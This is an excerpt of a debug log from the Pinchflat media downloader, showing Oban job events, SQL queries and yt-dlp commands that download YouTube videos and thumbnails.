{"args":{"id":41},"id":44,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":129675898,"event":"job:stop","queue_time":2974673388,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:39:40.350 [debug] QUERY OK source="tasks" db=0.4ms idle=876.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:40.350 [debug] QUERY OK source="tasks" db=0.4ms idle=290.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:40.350 [debug] QUERY OK source="media_items" db=0.1ms idle=15.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [42] 21:39:40.351 [debug] QUERY OK source="media_items" db=0.3ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [42] 21:39:40.355 [info] {"args":{"id":43},"id":46,"meta":{},"system_time":1774661980355884858,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:39:40.356 [debug] QUERY OK source="media_items" db=0.1ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [43] 21:39:40.356 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:39:40.357 [debug] QUERY OK source="tasks" db=0.8ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:40.357 [debug] QUERY OK source="sources" db=0.5ms idle=5.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:39:40.357 [debug] QUERY OK source="tasks" db=1.0ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:40.357 [debug] QUERY OK source="media_items" db=0.2ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [42, 43] 21:39:40.358 [debug] QUERY OK source="media_profiles" db=0.7ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:39:40.358 [debug] QUERY OK source="media_items" db=0.7ms idle=0.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [42, 43] 21:39:40.358 [debug] QUERY OK source="media_items" db=0.4ms idle=1.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [43] 21:39:40.359 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [43] 21:39:40.359 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:39:40.360 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:40.360 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:40.360 [debug] Running yt-dlp command for action: get_downloadable_status 21:39:40.360 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:40.361 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:40.361 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:40.361 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nblHDBr5d_0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/02/ff/02ffc2789befcc66ca73e561a8b6b2dec7b295ff2371989ffe0f48e875ec65b7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:39:41.444 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_jhZgs7qVQU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/70/8e/708e2e17096b57d6a256860ee107f4c748ffda842dcaa968b03f6ea1d0dd7ed2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:39:41.455 [debug] Running yt-dlp command for action: download_thumbnail 21:39:41.456 [debug] QUERY OK source="settings" db=0.0ms idle=1095.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:41.456 [debug] QUERY OK source="settings" db=0.0ms idle=1095.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:41.456 [debug] QUERY OK source="settings" db=0.0ms idle=1095.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:41.456 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_jhZgs7qVQU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/42/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/11/21/1121b52206bcc3e687bcf6ed74432e2683507d75bd124152280b1d89166de506.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:39:42.578 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nblHDBr5d_0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/02/ff/02ffc2789befcc66ca73e561a8b6b2dec7b295ff2371989ffe0f48e875ec65b7.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:39:42.578 [debug] Running yt-dlp command for action: download 21:39:42.578 [debug] QUERY OK source="settings" db=0.1ms idle=1122.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:42.578 [debug] QUERY OK source="settings" db=0.0ms idle=1122.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:42.578 [debug] QUERY OK source="settings" db=0.0ms idle=1102.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:39:42.579 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=nblHDBr5d_0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/10/f1/10f1c55e6e7bc43349b7682b113a7a055ff5f32322e97ad591069c05a2c4e3d0.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 21:39:44.254 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_jhZgs7qVQU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/42/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/11/21/1121b52206bcc3e687bcf6ed74432e2683507d75bd124152280b1d89166de506.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 21:39:44.254 [debug] QUERY OK db=0.0ms idle=776.3ms begin [] 21:39:44.254 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 01:39:41Z], "/downloads/Last Meals/2023-02-07 Margaret Cho Eats Her Last Meal/Margaret Cho Eats Her Last Meal [_jhZgs7qVQU].mp4", ~U[2026-03-28 01:39:44Z], 42] 21:39:44.255 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/42/metadata.json.gz", "/config/metadata/media_items/42/thumbnail.jpg", 42, ~U[2026-03-28 01:39:44Z], ~U[2026-03-28 01:39:44Z]] 21:39:44.255 [debug] QUERY OK db=0.0ms commit [] 21:39:44.256 [debug] QUERY OK source="media_items" db=0.5ms idle=196.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [280951408, ~U[2026-03-28 01:39:44Z], 42] 21:39:44.256 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:39:44.256 [info] {"args":{"id":42},"id":45,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":101686894,"event":"job:stop","queue_time":3005569382,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:39:44.257 [debug] QUERY OK source="tasks" db=0.2ms idle=197.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:44.257 [debug] QUERY OK source="tasks" db=0.3ms idle=197.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:44.257 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [43] 21:39:44.257 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [43] 21:39:44.262 [info] {"args":{"id":44},"id":47,"meta":{},"system_time":1774661984262608059,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 21:39:44.262 [debug] QUERY OK source="media_items" db=0.1ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [44] 21:39:44.262 [info] User scripts lifecyle file either not present or is empty. Skipping. 21:39:44.263 [debug] QUERY OK source="tasks" db=0.3ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:44.263 [debug] QUERY OK source="sources" db=0.2ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:39:44.263 [debug] QUERY OK source="tasks" db=0.5ms idle=5.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:39:44.263 [debug] QUERY OK source="media_items" db=0.2ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [43, 44] 21:39:44.263 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:39:44.263 [debug] QUERY OK source="media_items" db=0.2ms idle=0.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [43, 44] 21:39:44.263 [debug] QUERY OK source="media_items" db=0.2ms idle=0.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [44] 21:39:44.264 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [44] 21:39:44.264 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:39:44.264 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", 